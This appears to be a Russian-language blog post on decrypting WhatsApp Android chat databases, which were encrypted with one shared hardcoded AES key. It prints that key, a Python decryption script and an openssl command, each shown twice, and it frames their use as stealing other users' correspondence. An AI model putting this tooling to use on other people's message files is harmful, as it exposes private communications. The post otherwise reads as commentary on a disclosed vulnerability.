Расшифровка и кража переписки WhatsApp на Android

Чувак по имени Bas Bosschert тупо замутил статью в своем блоге как украсть и расшифровать базу данных сообщений WhatsApp на Android абсолютно любого пользователя этого мессенджера одним ключом. ЛОООЛ. Т.е. для всех 100 000 000 млн. пользователей WhatsApp на Android пацаны из WhatsApp шифровали их частную переписку с помощью одного ключа. О том, что этот ключ знали все спецслужбы мира, начиная от КГБ и заканчивая ЦРУ это понятно. Но тот факт, что любой школьник который надыбал ключ мог спокойно воровать и открывать базы данных миллионов пользователей этого мессенджера, пугает. Получается разработчики настолько криворуки, что не могут (не хотят!) заботится о частной жизни пользователей.

Расшифровка базы данных сообщений WhatsApp на Android

База данных сообщений WhatsApp на Android выглядит как никий зашифрованный файл msgstore-2014-03-06.1.db.crypt Сам WhatsApp использует SQLite3 для хранения переписки и прочих данных. Найти базу данных в телефоне можно по пути: /WhatsApp/Databases/

Выглядит это примерно так:
Screenshot_2014-03-12-13-29-11

В своем блоге Bas Bosschert приводит простой скрипт на Python который с помощью стандартного ключа с легкостью расшифрует вашу базу сообщений. Скрипт:

#!/usr/bin/env python
 
import sys
from Crypto.Cipher import AES
 
try:
    wafile=sys.argv[1]
except:
    print "Usage: %s <msgstore .db.crypt>" % __file__
    sys.exit(1)
 
key = "346a23652a46392b4d73257c67317e352e3372482177652c".decode('hex')
cipher = AES.new(key,1)
open('msgstore.db',"wb").write(cipher.decrypt(open(wafile,"rb").read()))</msgstore>
#!/usr/bin/env python

import sys
from Crypto.Cipher import AES

try:
    wafile=sys.argv[1]
except:
    print "Usage: %s <msgstore .db.crypt>" % __file__
    sys.exit(1)

key = "346a23652a46392b4d73257c67317e352e3372482177652c".decode('hex')
cipher = AES.new(key,1)
open('msgstore.db',"wb").write(cipher.decrypt(open(wafile,"rb").read()))</msgstore>

Кто-то из пользователей предложил самый обычный вариант расшифровки, с использованием openssl:

openssl aes-192-ecb -d -in msgstore.db.crypt -out msgstore.db \
-K 346a23652a46392b4d73257c67317e352e3372482177652c
openssl aes-192-ecb -d -in msgstore.db.crypt -out msgstore.db \
-K 346a23652a46392b4d73257c67317e352e3372482177652c

Сам открытый ключ: 346a23652a46392b4d73257c67317e352e3372482177652c

После выполнения скрипта получаем файл msgstore.db:
AAAAAA

Далее берем любую программу, которая умеет открывать файлы баз данных SQLite3 и смотрим содержимое:
data

Профит.
Далее Bas Bosschert приводит код для Android с целью написания простой программки для кражи файла базы данных с телефона. К слову это совсем просто и любой программист для Android напишет такой кода за 10 минут.

Безопасность

Краеугольный камень современности – безопастность личных данных. Думаю самого такого понятия как приватные\личные данные уже не существует в современном цифромире. Хотя остались такие оплоты как Telegram.

Ссылка на статью Bas Bosschert в его блоге.